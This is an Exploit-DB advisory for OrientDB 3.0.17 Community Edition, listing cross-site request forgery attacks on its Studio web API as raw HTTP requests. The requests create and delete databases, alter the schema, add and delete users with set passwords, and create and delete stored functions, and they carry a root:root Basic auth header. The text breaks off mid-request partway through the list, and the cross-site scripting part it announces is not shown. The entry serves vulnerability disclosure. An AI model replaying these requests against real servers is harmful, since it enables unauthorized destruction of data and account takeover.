Exploit-DB #46517
Description: OrientDB 3.0.17 GA Community Edition - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-03-08
Author: Ozer Goker

Exploit:
##################################################################################################################################
# Exploit Title: OrientDB 3.0.17 GA Community Edition (March 7th, 2019) | Multiple Vulnerabilities
# Date: 07.03.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://orientdb.org
# Software Link: https://orientdb.org/download
# Version: 3.0.17 GA Community Edition (March 7th, 2019)
##################################################################################################################################

Introduction

OrientDB is the world’s fastest graph database. Period. An independent
benchmark study by IBM and the Tokyo Institute of Technology showed that
OrientDB is 10x faster than Neo4j on graph operations among all the
workloads. Drive competitive advantage and accelerate innovation with new
revenue streams.

#################################################################################

Vulnerabilities: CSRF | XSS Reflected & Stored

#################################################################################

CSRF details:

#################################################################################

CSRF1

Create Database

POST /database/testdb/plocal/graph HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
Authorization: Basic cm9vdDpyb290
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=-
Content-Length: 0

#################################################################################

CSRF2

Delete Database

DELETE /database/testdb HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
Authorization: Basic cm9vdDpyb290
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=-

#################################################################################

CSRF3

Schema Manage New Vertex

POST /command/demodb/sql/-/20?format=rid,type,version,class,graph HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
content-type: text/plain
X-Requested-With: XMLHttpRequest
Content-Length: 33
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=OS[PII_REDACTED]83[PII_REDACTED]854396825

CREATE CLASS `test`  extends  `V`

#################################################################################

CSRF4

Schema Manage Delete Vertex

POST /command/demodb/sql/-/20?format=rid,type,version,class,graph HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
content-type: text/plain
X-Requested-With: XMLHttpRequest
Content-Length: 17
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=OS[PII_REDACTED]83[PII_REDACTED]854396825

DROP CLASS `test`

#################################################################################

CSRF5

Add User

POST /document/demodb/-1:-1 HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Content-Length: 108
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=OS[PII_REDACTED]83[PII_REDACTED]854396825

{"@class":"OUser","@version":0,"@rid":"#-1:-1","name":"test","password":"test","roles":[],"status":"ACTIVE"}

#################################################################################

CSRF6

Delete User

DELETE /document/demodb/5:3 HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=OS[PII_REDACTED]83[PII_REDACTED]854396825


#################################################################################

CSRF7

Functions Management New

POST /document/demodb/-1:-1 HTTP/1.1
Host: 192.168.2.101:2480
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.101:2480/studio/index.html
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Content-Length: 141
DNT: 1
Connection: close
Cookie: CockpitLang=en-us; OSESSIONID=OS[PII_REDACTED]83[PII_REDACTED]854396825

{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"test","language":"javascript","code":null,"parameters":["test"]}

#################################################################################

CSRF8

Functions Management Delete

DELETE /document/demodb/6:5 HTTP/1.1
Host: 192.168.2.101: